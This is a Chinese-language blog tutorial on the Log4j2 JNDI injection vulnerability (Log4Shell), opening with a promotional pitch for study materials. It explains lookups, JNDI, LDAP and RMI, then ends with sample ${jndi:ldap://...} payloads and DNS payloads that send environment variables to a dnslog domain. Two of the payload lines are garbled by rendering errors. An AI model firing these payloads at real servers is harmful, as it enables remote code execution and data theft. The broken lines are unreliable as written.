先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
–>执行恶意代码
### 0x04 漏洞核心原理
#### **一图看懂log4j**
![012.jpg](https://img-blog.csdnimg.cn/img_convert/8da2ef52e317038c060a421c1a93a85b.jpeg)
当我们将外部输入的数据如浏览器类型记录到日志中时,可能会存在注入攻击的风险。比如攻击者可以在浏览器类型中注入恶意代码,造成系统安全问题。Log4j可以对字符串进行解析,如果发现${}这样的符号,就会进一步解析它,并执行对应的操作。攻击者可以利用这个漏洞,通过JNDI扩展内容请求Java对象,包括远程下载class文件并构建对象等,从而实现恶意攻击。
### 0x05 学习漏洞需了解
#### 1.lookups
lookups是查找搜索的意思, 是用于查找或获取存储在不同数据结构中数据的接口,以键或索引作为查找方式。
在log4j2中,就是在输出日志的时候,通过lookup方法去查找要输出的内容\*\*${}\*\*,具体查询数据存储的位置和方式需要通过代码实现。
![003.jpg](https://img-blog.csdnimg.cn/img_convert/c8f928ad2bdee14f5616383fd322f9bd.jpeg)
该接口类似于面向对象编程中的概念。所幸log4j已经为开发者封装好了常见的查找功能模块,通过使用log4j的API,我们可以轻松地查找到日志记录器并实现日志记录。
#### 2.JNDI
根据官方文档,JNDI 全称为 **(Java Naming and Directory Interface)**,即 JAVA命名和目录接口。
它提供一个目录系统,将服务名称与对象关联起来,简单来说就是通过名称查找实际对象的服务。
##### 架构
JNDI体系结构主要包含三个组件:命名系统、目录系统、服务提供者接口(SPI),如下图中 JNDI 为不同的目录服务提供统一的操作接口 ,JDK 中包含了下述内置的目录服务:
![001.png](https://img-blog.csdnimg.cn/img_convert/3a022db167794ba99d5539b2deaea23b.png)
##### 命名服务
它提供了一个层次化的命名空间和标准API,可以用来将对象与名称相互映射,并提供了基本的名称解析、搜索和绑定等操作。
DNS服务 通过域名寻找 ip 地址、
文件系统服务 通过文件名定位到具体文件、
以及 LDAP即轻量级目录访问协议都是名称服务,不同的是 LDAP是一个协议,是和 HTTP 一样是通用的,而不止局限于 JAVA.
通俗点来讲类似于一个字典的数据源,通过JNDI这个接口,传入name进去,就能获取到对象。不同的数据源有不同的查找方式,而且JNDI也只是一个上层封装,在它下面有很多种具体的数据源,如LDAP,DNS,NIS,NDS,RMI。
##### 目录服务
目录系统可以用来存储和查找与对象相关的元数据信息,不仅提供命名到对象的映射,还提供对象的属性信息,方便管理和检索,并提供对象属性操作执行的功能,总体来说,目录服务是名称服务的扩展,它提供了更丰富的元数据信息,提高了对象的管理和检索能力
目录服务中的对象可以有多个描述其特征和特性的属性
比如用户对象可以有用户名、密码、邮件地址、角色等属性,计算机对象可以有IP地址、MAC地址、操作系统版本等属性。
在名称服务中根据打印机名称获取打印机对象,并进行打印操作。
而用户可以通过目录服务,针对打印机需求,根据分辨率等属性进行搜索获取符合条件的打印机对象。
##### 服务提供者接口(SPI)
SPI提供了一套标准的接口,允许开发人员实现自己的命名和目录服务。
开发人员可以根据自己的需要,实现自己的命名和目录服务,并针对这些自定义的服务实现JNDI SPI接口。
#### 3.LDAP 轻量级目录访问协议
LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。
![002.jpg](https://img-blog.csdnimg.cn/img_convert/0507221ef6931a11f6e5594b9b8cdeed.jpeg)
LDAP 目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,我们可以理解为是一个为可以查询、浏览和搜索而优化的分布式数据库,它呈树状结构组织数据,简单点理解:就是有一个类似于字典的数据源,可以通过LDAP协议,lookup查询传一个name进去,就能获取到数据。
#### 4.RMI
RMI是Java中的一种远程方法调用机制,使用RMI,可以在不同的Java虚拟机(JVM)之间进行对象之间的方法调用。RMI使用了面向对象的技术,允许Java对象在远程服务器上实现具体的方法,并提供接口。客户端只需要关心接口,不需要了解方法的具体实现方式,只需提供相应的参数即可调用远程方法并获取执行结果。
### 0x06 根据原理构造 Payload 利用
log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,从网上大家的测试来看,主要使用 ldap 来构造 payload,详细参考这里:
#### 1.常用payload
${jndi:ldap://127.0.0.1:1389/ Badclassname}
${jndi:ldap://xxx.xxx.xxx.xxx/exp}
//Windows
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:dns://{env:OS}.dnslog.com}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:dns://{env:USERNAME}.dnslog.com}